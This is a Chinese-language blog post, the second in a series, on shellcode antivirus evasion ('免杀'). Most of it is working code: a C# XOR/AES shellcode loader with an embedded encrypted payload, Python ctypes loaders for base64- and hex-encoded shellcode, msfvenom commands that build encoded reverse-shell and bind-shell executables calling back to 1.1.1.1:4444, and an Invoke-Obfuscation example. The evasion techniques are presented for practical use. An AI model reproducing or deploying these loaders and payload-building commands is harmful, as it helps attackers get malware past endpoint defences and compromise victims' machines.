干货 | Shellcode免杀总结<二>
Shellcode免杀总结-第二篇
0x02 那些shellcode"混淆"免杀
shellcode是否可以像php一句话那样混淆、加密、拆分呢
还是从最简单的举例子开始
A）shellcode编码混淆
xor异或加密shellcode后，申请内存执行，和文开头执行shell从的方式无区别
这里拿C# xor为例子（ShellcodeWrapper）:
using System;
using System.IO;
using System.Collections.Generic;
using System.Text;
using System.Threading.Tasks;
using System.Security.Cryptography;
using System.Runtime.InteropServices;
namespace RunShellCode
{
static class Program
{
//==============================================================================
// CRYPTO FUNCTIONS
//==============================================================================
private static T[] SubArray<T>(this T[] data, int index, int length)
{
T[] result = new T[length];
Array.Copy(data, index, result, 0, length);
return result;
}
private static byte[] xor(byte[] cipher, byte[] key) {
byte[] decrypted = new byte[cipher.Length];
for(int i = 0; i < cipher.Length; i++) {
decrypted[i] = (byte) (cipher[i] ^ key[i % key.Length]);
}
return decrypted;
}
//--------------------------------------------------------------------------------------------------
// Decrypts the given a plaintext message byte array with a given 128 bits key
// Returns the unencrypted message
//--------------------------------------------------------------------------------------------------
private static byte[] aesDecrypt(byte[] cipher, byte[] key)
{
var IV = cipher.SubArray(0, 16);
var encryptedMessage = cipher.SubArray(16, cipher.Length - 16);
// Create an AesManaged object with the specified key and IV.
using (AesManaged aes = new AesManaged())
{
aes.Padding = PaddingMode.PKCS7;
aes.KeySize = 128;
aes.Key = key;
aes.IV = IV;
using (MemoryStream ms = new MemoryStream())
{
using (CryptoStream cs = new CryptoStream(ms, aes.CreateDecryptor(), CryptoStreamMode.Write))
{
cs.Write(encryptedMessage, 0, encryptedMessage.Length);
}
return ms.ToArray();
}
}
}
//==============================================================================
// MAIN FUNCTION
//==============================================================================
static void Main()
{
byte[] encryptedShellcode = new byte[] { 0x8d,0x81,0xec,0x67,0x71,0x69,0x0e,0xee,0x94,0x58,0xae,0x03,0xfa,0x39,0x5e,0xec,0x23,0x65,0xe5,0x35,0x65,0xe2,0x1c,0x4f,0x7e,0xde,0x24,0x41,0x40,0x96,0xc2,0x5b,0x10,0x15,0x6c,0x4b,0x51,0xa8,0xa1,0x6a,0x70,0xae,0x8c,0x95,0x23,0x3e,0xe5,0x35,0x61,0xe2,0x24,0x5b,0xfa,0x25,0x7f,0x1f,0x92,0x21,0x6f,0xb6,0x20,0xe2,0x37,0x47,0x70,0xba,0xe5,0x2e,0x69,0x8a,0x54,0x2e,0xfa,0x5d,0xe5,0x66,0xa7,0x58,0x91,0xcb,0xb0,0xa6,0x63,0x66,0xb6,0x51,0x8e,0x12,0x87,0x6a,0x13,0x9f,0x4a,0x14,0x4a,0x12,0x95,0x31,0xe5,0x3f,0x55,0x68,0xbd,0x01,0xfa,0x65,0x25,0xec,0x29,0x75,0x6f,0xb4,0xfa,0x6d,0xe5,0x66,0xa1,0xe0,0x2a,0x43,0x55,0x32,0x35,0x06,0x28,0x33,0x3f,0x98,0x91,0x36,0x31,0x3d,0xfa,0x7b,0x85,0xea,0x2c,0x01,0x5d,0x55,0x71,0x69,0x06,0x10,0x02,0x5b,0x31,0x33,0x19,0x25,0x19,0x41,0x76,0xe0,0x86,0x98,0xa1,0xd1,0xfe,0x66,0x71,0x69,0x47,0xa3,0x25,0x39,0x06,0x4e,0xf1,0x02,0x6e,0x98,0xa4,0x03,0x64,0x0f,0xb1,0xc1,0xc0,0xe9,0x19,0x6b,0x6e,0x76,0x2d,0xe0,0x88,0x37,0x21,0x39,0x3e,0x27,0x21,0x29,0x3e,0x0f,0x9b,0x66,0xb1,0x87,0x8e,0xbc,0xf9,0x0d,0x61,0x3f,0x39,0x0f,0xe8,0xcc,0x1a,0x06,0x8e,0xbc,0xeb,0xa7,0x05,0x63,0x91,0x29,0x79,0x1c,0x82,0x8f,0x16,0x69,0x6e,0x67,0x1b,0x69,0x04,0x63,0x27,0x3e,0x06,0x65,0xa8,0xa1,0x31,0x98,0xa4,0xea,0x96,0x67,0x0f,0x5f,0xe5,0x51,0x1b,0x29,0x06,0x67,0x61,0x69,0x6e,0x31,0x1b,0x69,0x06,0x3f,0xd5,0x3a,0x8b,0x98,0xa4,0xfa,0x3d,0x0d,0x71,0x3f,0x3d,0x30,0x19,0x6b,0xb7,0xaf,0x2e,0x96,0xbb,0xe4,0x89,0x69,0x13,0x4f,0x29,0x01,0x6e,0x27,0x71,0x69,0x04,0x67,0x21,0x01,0x65,0x48,0x7e,0x59,0x91,0xb2,0x26,0x01,0x1b,0x09,0x3c,0x08,0x91,0xb2,0x2f,0x37,0x91,0x6b,0x55,0x66,0xeb,0x17,0x8e,0x96,0x91,0x8e,0xea,0x96,0x91,0x98,0x70,0xaa,0x47,0xa1,0x04,0xa8,0xad,0xdc,0x81,0xdc,0xcc,0x31,0x1b,0x69,0x3d,0x98,0xa4 };
string key = "qing";
string cipherType = "xor";
byte[] shellcode = null;
//--------------------------------------------------------------
// Decrypt the shellcode
if (cipherType == "xor") {
shellcode = xor(encryptedShellcode, Encoding.ASCII.GetBytes(key));
}
else if (cipherType == "aes") {
shellcode = aesDecrypt(encryptedShellcode, Convert.FromBase64String(key));
}
//--------------------------------------------------------------
// Copy decrypted shellcode to memory
UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);
IntPtr hThread = IntPtr.Zero;
UInt32 threadId = 0;
// Prepare data
IntPtr pinfo = IntPtr.Zero;
// Invoke the shellcode
hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
WaitForSingleObject(hThread, 0xFFFFFFFF);
return;
}
private static UInt32 MEM_COMMIT = 0x1000;
private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
// The usual Win32 API trio functions: VirtualAlloc, CreateThread, WaitForSingleObject
[DllImport("kernel32")]
private static extern UInt32 VirtualAlloc(
UInt32 lpStartAddr,
UInt32 size,
UInt32 flAllocationType,
UInt32 flProtect
);
[DllImport("kernel32")]
private static extern IntPtr CreateThread(
UInt32 lpThreadAttributes,
UInt32 dwStackSize,
UInt32 lpStartAddress,
IntPtr param,
UInt32 dwCreationFlags,
ref UInt32 lpThreadId
);
[DllImport("kernel32")]
private static extern UInt32 WaitForSingleObject(
IntPtr hHandle,
UInt32 dwMilliseconds
);
}
}
其他语言也是一样，比如py 异或编码、base64、十六进制这些都是可以的
py Base64(k8gege):
import ctypes
import sys
import base64
#calc.exe
#REJDM0Q5NzQyNEY0QkVFODVBMjcxMzVGMzFDOUIxMzMzMTc3MTc4M0M3MDQwMzlGNDlDNUU2QTM4NjgwMDk1QjU3RjM4MEJFNjYyMUY2Q0JEQkY1N0M5OUQ3N0VEMDA5NjNGMkZEM0VDNEI5REI3MUQ1MEZFNEREMTUxMTk4MUY0QUYxQTFEMDlGRjBFNjBDNkZBMEJGNUJDMjU1Q0IxOURGNTQxQjE2NUYyRjFFRTgxNDg1MjEzODg0OTI2QUEwQUVGRDRBRDE2MzFFQjY5ODA4RDU0QzFCRDkyN0FDMkEyNUVCOTM4M0E4RjVENDIzNTM4MDJFNTBFRTkzRjQyQjM0MTFFOThCQkY4MUM5MkExMzU3OTkyMEQ4MTNDNTI0REZGMDdENTA1NEY3NTFEMTJFREM3NUJBRjU3RDJGNjY1QjgxMkZDRTA0MjczQkZDNTE1MTY2NkFBN0QzMUNEM0E3RUIxRTczQzBEQTk1MUM5N0UyN0Y1OTY3QTkyMkNCRTA3NEI3NEU2RDg3NkQ4Qzg4MDQ4NDZDNkYxNEVENjkyQjkyMUQwMzI0NzcyMkIwNDU1MjQxNTdENjNFQThGMjVFQTRCNA==
shellcode=bytearray(base64.b64decode(sys.argv[1]).decode("hex"))
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
ctypes.c_int(len(shellcode)),
ctypes.c_int(0x3000),
ctypes.c_int(0x40))
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),
buf,
ctypes.c_int(len(shellcode)))
ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_int(ptr),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0)))
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))py 十六进制(k8gege)：
#scrun by k8gege
import ctypes
import sys
#calc.exe
#sc = "DBC3D97424F4BEE85A27135F31C9B13331771783C704039F49C5E6A38680095B57F380BE6621F6CBDBF57C99D77ED00963F2FD3EC4B9DB71D50FE4DD1511981F4AF1A1D09FF0E60C6FA0BF5BC255CB19DF541B165F2F1EE81485213884926AA0AEFD4AD1631EB69808D54C1BD927AC2A25EB9383A8F5D42353802E50EE93F42B3411E98BBF81C92A13579920D813C524DFF07D5054F751D12EDC75BAF57D2F665B812FCE04273BFC5151666AA7D31CD3A7EB1E73C0DA951C97E27F5967A922CBE074B74E6D876D8C8804846C6F14ED692B921D03247722B045524157D63EA8F25EA4B4"
shellcode=bytearray(sys.argv[1].decode("hex"))
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
ctypes.c_int(len(shellcode)),
ctypes.c_int(0x3000),
ctypes.c_int(0x40))
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),
buf,
ctypes.c_int(len(shellcode)))
ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_int(ptr),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0)))
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))还有一款编码的工具也好用，安利一下：
https://github.com/ecx86/shellcode_encoder
那么这是利用语言对shellcode编码，也可以选择生成的时候对shellcode编码。
举例msfvenom:
kali@kali:~$ msfvenom -l encoder
Framework Encoders [--encoder <value>]
======================================
Name Rank Description
---- ---- -----------
cmd/brace low Bash Brace Expansion Command Encoder
cmd/echo good Echo Command Encoder
cmd/generic_sh manual Generic Shell Variable Substitution Command Encoder
cmd/ifs low Bourne ${IFS} Substitution Command Encoder
cmd/perl normal Perl Command Encoder
cmd/powershell_base64 excellent Powershell Base64 Command Encoder
cmd/printf_php_mq manual printf(1) via PHP magic_quotes Utility Command Encoder
generic/eicar manual The EICAR Encoder
generic/none normal The "none" Encoder
mipsbe/byte_xori normal Byte XORi Encoder
mipsbe/longxor normal XOR Encoder
mipsle/byte_xori normal Byte XORi Encoder
mipsle/longxor normal XOR Encoder
php/base64 great PHP Base64 Encoder
ppc/longxor normal PPC LongXOR Encoder
ppc/longxor_tag normal PPC LongXOR Encoder
ruby/base64 great Ruby Base64 Encoder
sparc/longxor_tag normal SPARC DWORD XOR Encoder
x64/xor normal XOR Encoder
x64/xor_context normal Hostname-based Context Keyed Payload Encoder
x64/xor_dynamic normal Dynamic key XOR Encoder
x64/zutto_dekiru manual Zutto Dekiru
x86/add_sub manual Add/Sub Encoder
x86/alpha_mixed low Alpha2 Alphanumeric Mixedcase Encoder
x86/alpha_upper low Alpha2 Alphanumeric Uppercase Encoder
x86/avoid_underscore_tolower manual Avoid underscore/tolower
x86/avoid_utf8_tolower manual Avoid UTF8/tolower
x86/bloxor manual BloXor - A Metamorphic Block Based XOR Encoder
x86/bmp_polyglot manual BMP Polyglot
x86/call4_dword_xor normal Call+4 Dword XOR Encoder
x86/context_cpuid manual CPUID-based Context Keyed Payload Encoder
x86/context_stat manual stat(2)-based Context Keyed Payload Encoder
x86/context_time manual time(2)-based Context Keyed Payload Encoder
x86/countdown normal Single-byte XOR Countdown Encoder
x86/fnstenv_mov normal Variable-length Fnstenv/mov Dword XOR Encoder
x86/jmp_call_additive normal Jump/Call XOR Additive Feedback Encoder
x86/nonalpha low Non-Alpha Encoder
x86/nonupper low Non-Upper Encoder
x86/opt_sub manual Sub Encoder (optimised)
x86/service manual Register Service
x86/shikata_ga_nai excellent Polymorphic XOR Additive Feedback Encoder
x86/single_static_bit manual Single Static Bit
x86/unicode_mixed manual Alpha2 Alphanumeric Unicode Mixedcase Encoder
x86/unicode_upper manual Alpha2 Alphanumeric Unicode Uppercase Encoder
x86/xor_dynamic normal Dynamic key XOR Encoder
使用模板和编码器 for example:
msfvenom -p windows/shell_reverse_tcp -x /usr/share/windows-binaries/ plink.exe lhost=1.1.1.1 lport=4444 -a x86 --platform win -f exe -o a.exe
msfvenom -p windows/shell/bind_tcp -x /usr/share/windows-binaries/ plink.exe lhost=1.1.1.1 lport=4444 -e x86/shikata_ga_nai -i 5 -a x86 -platform win -f exe > b.exeVeil中的加密:
schelper:
Obfuscation：
Invoke-Obfuscation -ScriptBlock {echo xss} -Command 'Encoding\1,Launcher\PS\67' -Quiet
关于shellcode编码后执行就点到这里，其他语言也是大同小异，就不多列举了。
上面是一些编码加密shellcode，下面就看看shellcode注入的技巧方式。
原创投稿作者：卿
作者博客：https://www.cnblogs.com/-qing-/
本文参与 腾讯云自媒体分享计划，分享自微信公众号。
原始发表：2020-02-08，如有侵权请联系 cloudcommunity@tencent.com 删除
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